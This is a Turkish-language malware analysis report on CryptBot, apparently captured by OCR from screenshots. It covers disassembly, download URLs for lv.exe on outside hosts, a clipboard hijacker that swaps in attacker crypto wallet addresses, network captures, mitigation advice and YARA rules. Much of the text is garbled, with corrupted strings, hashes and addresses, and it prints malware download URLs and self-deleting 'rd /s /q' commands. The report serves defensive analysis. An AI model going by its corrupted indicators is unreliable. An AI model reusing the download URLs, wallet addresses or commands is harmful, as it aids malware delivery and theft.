} opT eackiit, /537, 36 (KHTNL, 11

o position: Form-data; name: ation/actet-strears .
t £116nane '
T1T0L"; 11 ananes), Mes, rincontant-Type: applTcaian
1
x
et fars ame=, Fi 7 wentent-Type: application/oce iy
call o L Lanacan
o 0
push Loba
fush o
1) dword pur oz [<eGerFrovessheass] : . . R e - . = -



http://alemed12[.]top/

http://otiasc[.]top/download[.]Jphp?file=lv[.]exe sitesine istek atarak lv.exe dosyasini indirip
kisa bir siire alt process olarak ¢alismasini saglamaktadir.

00909689773, 012D315D
push 00909689773.138F178 ; 138F178:L"http://otiascOl.top/download. php?file=Tv. exe”
push eax

€all dvord ptr ds:[<&Internetopenurlis=]

mov esi,eax

mov_dword ptr ss:febp-141,esi

test esi,esi
j& 00909689773, 12D3500!

]

DO‘]DEGAB 3.012D3176
sh 100
e leasranond ptr ss:[ebp-1698]
push ©
pus!

v
|

(a]] 00909689773 1363c90
push 1666

Eal dword per os: [<acetprocessteaps]
ax

Eal Guord per ds: [<artlallocatemeaps]

mov ebx, eax

xor edi,edi

Tea eax,dword ptr ss:[ebp-10]

mov dword ptr ss:febp- 10807

push eax

ush 100

B ptr ss:[ebp-1695]

push exk

push esi

Moy es1,duord per ds: [<AIncernetReadrile>]

Q@ es

je 60905689773, 1203227

Timeout&del komutunu kuIIanarak exe yive olusturdugu tim dosyalan silmektedir.

L gl Ca G T ETENER YOI TCRREYE & TTREGNT T & AT T eS0T A

FPU gigle

acxiL"Ne rd /% /q KTAMERLvoIveHLRFvE

LR SET g
£

add e
fub o2 x acx LU A nes L mpar a3 on. exe

3= rd /5 /q XTemgr\ \LYDIYCHURT YK & tine

F
nnnnnnsuvn,umun

Ereatenirectory:
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Bct 50342
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http://otiasc[.]top/download%5b.%5dphp?file=lv%5b.%5dexe

Dosya Adi

Iv.exe

MD5

1CA90B66B79DF8576C3D35BFADOF33FA

SHA1

17291F5B80496EFC656A489C340D8856EEC27EE3

Iv.exe nin alistirdigi alt processler;

- 4.exe-vpn.exe-cmd.exe-ping.exe-SmartClock.exe

Iv.exe

Sistemde kayith olarak bulununan ClipBoard verisini okuyarak gegerli kosullar saglandiginda
kripto clizdanlarindaki adresleri degistirip kayith tuttugu adresleri yazmaktadir.Altinda
calistirdig processlerle sistem Uzerinde kisa streli degisiklikler yaparak kendisini

kapatmaktadir.

Zararlinin icerisinde bulunan kripto adresleri asagidaki gibidir;

“0x9876A5bc27ff511bF5dA8f58c8F93281E5BD1f21”

“bclggvs5jxqgzd68faulysg3xekyeuppnzc8wssxht”,

“19rxWcjug44 X ftiT1Ai1l1ptDZr94wEdRTZ”,

“3J4udwbwse K XEXKC8EdvABKLwXnlgmFdfs”

“rHnvgST17xvghuFkhF1XAL8DMg2EWU5yP7”
“LcWsMfbLwHayuHRL2jJeQNBAXGWCABV6XK”

“43LKVsDuqiDVhxkWwkkyCW2K4J2DrbmH55Rk8qj44JmBTKEx02gRGNceNtMUpnLSZ

hcKRWHTYNXKjGSPBXRigki35UCYPFP”
“t1Uczn845Pvs36iKUc3BZ4qY 70Mc2nRoW2Z”




"F"

Network Analizi

v
|

i *Yerel Ag Baglantisi E@
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
made XNE QenEFLEFaaqr
[ ]s8. BEd )+
No. Time Source Destination Protocol  Length Info &
80 16.905658 192.168.40.128 208.95.112.1 TCP 66 52378 > 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1
81 16.968654 208.95.112.1 192.168.40.128 TCP 60 80 + 52378 [SYN, ACK] Seg=0 Ack=1 Win=64240 Len=0 M55=1460
82 16.968731 192.168.40.128 208.95.112.1 TCP 54 52378 > 80 [ACK] Seq=1 Ack=1 Win=64240 Len=0
83 16.969011 192.168.40.128 208.95.112.1 HTTP 335 GET /json HTTP/1.1
84 16.969137 208.95.112.1 192.168.40.128 TCP 60 80 » 52378 [ACK] Seg=1 Ack=282 Win=64240 Len=0
85 17.033733 208.95.112.1 192.168.46.128 HTTP/J... 523 HTTP/1.1 200 OK , JavaScript Object Notation (application/json)

86 17.033808 192.168.40.128 208.95.112.1 e i 54 52378 > 80 [ACK] Seq=282 Ack=470 Win=63771 Len=0
144 36.856286 192.168.40.128
154 37.038751

192.168.46.128

88.99.66.31 portuna istek atiyor fakat sunucular kapali oldugu icin Retransmission
donmektedir.

http://g-partners[.Jtop/dlc/distribution[.]php?pub=mixinte
http://g-partners[.]top/stats/remember[.]Jphp?pub=mixinte&user
http://otiasc01[.]top/download[.]php ?file=lv. Exe

L"GET", ecx:L"/stats/remember.php?pub=mixinte&user=
L"/stats,/remember. php?pub=mixinteduser=

LGET", ecx:L"/stats/remenber. php7pub-mixintesuser-

'g-partners. top/dlc/distribution. php?pub=mixinte”

"g-partners. top/dlc/distribution. php?pub=mixinte”



http://g-partners[.]top/dlc/distribution%5b.%5dphp?pub=mixinte
http://g-partners[.]top/stats/remember%5b.%5dphp?pub=mixinte&user
http://otiasc/

pe

Y

COZUM ONERILERI

-Gelen mailler dikkatle okunmali veya bilinmeyen kaynaklardan gelen maillere ve URL’ler ile
ilgili sipheli davranilmali ve eklerde tam tarama yapmadan dosya agilmamal.

-Tum yukli olan yazilimlar ve isletim sistemi giincel tutulmal.

-Kullanicilarin, kimlik avi semalarindan haberdar olmalari ve bu saldirilari nasil
yonetebilecekleri konusunda egitimler verilmeli.

-Sistem Uzerinde ki ¢alisan processlerin ag hareketleri incelenmeli.

-Virtsten koruma veya herhangi bir u¢ nokta koruma yazilimi gibi kot amacli yazihmdan
koruma yazilimi kullaniimalidir.

-Bir uygulama indirirken dikkatli olunmali, lisansli uygulamalar tercih edilmelidir.




pe

Y

Nxinf8kuks.exe YARA RULE

import “hash”

rule CryptBot

{

meta:

author="Kerime Gencay”
description="CryptBot”
first_date="27.06.2021”
report_date="25.07.2021”

file name=" nxinf8kuks.exe”

strings:

$text a="00909689773.exe”

$text b="1BEFOA57BE110FD467A”
$text_c="79331032056.exe”

Condition:

Hash.md5(0,filesize)==" 663FDF847D6B11308415FF86EBFFC275” or all of them

¥




pe

0099689773.exe Yara Rule

£

import “hash”

rule CryptBot

{

meta:

author="Kerime Gencay”
description="CryptBot”

first date="27.06.2021”
report_date="25.07.2021”
file_name=" 00909689773.exe”

strings
$text a=" MckYLbaLjxJrwW.zip”
$text b=" NIsPPCaAe.zip”
$text ¢="88.99.66.31”
$text d=" LYOJYcHURFYk”
$text e="_Files”
$text ="files ”

Condition:

Hash.md5(0,filesize)==" 610FE925494BD7F87858672C17F7D917” or all of them




pe
Y

Ilv.exe Yara Rule

import “hash”

rule CryptBot

{

meta:

author="Kerime Gencay”

description="CryptBot”

first date="27.06.2021”

report_date="25.07.2021”

file_name=" Iv.exe”

strings:
text a="0x9876A5bc27ff511bF5dA8f58c8F93281ESBD1{21”
text_b="bclqgvs5jxqqzd68f9ulySg3xekyeuppnzc8wsSxht”
text c="vpn.exe”
text d="4.exe”
text_e="nsDialogs.dll”
text f="UserInfo.dIl”
text g="
Condition:Hash.md5(0,filesize)=="1CA90B66B79DF8576 C3D35BFADOF33FA” or all of them

}




KERIME GENCAY

https://lwww.linkedin.com/in/kerimegencay




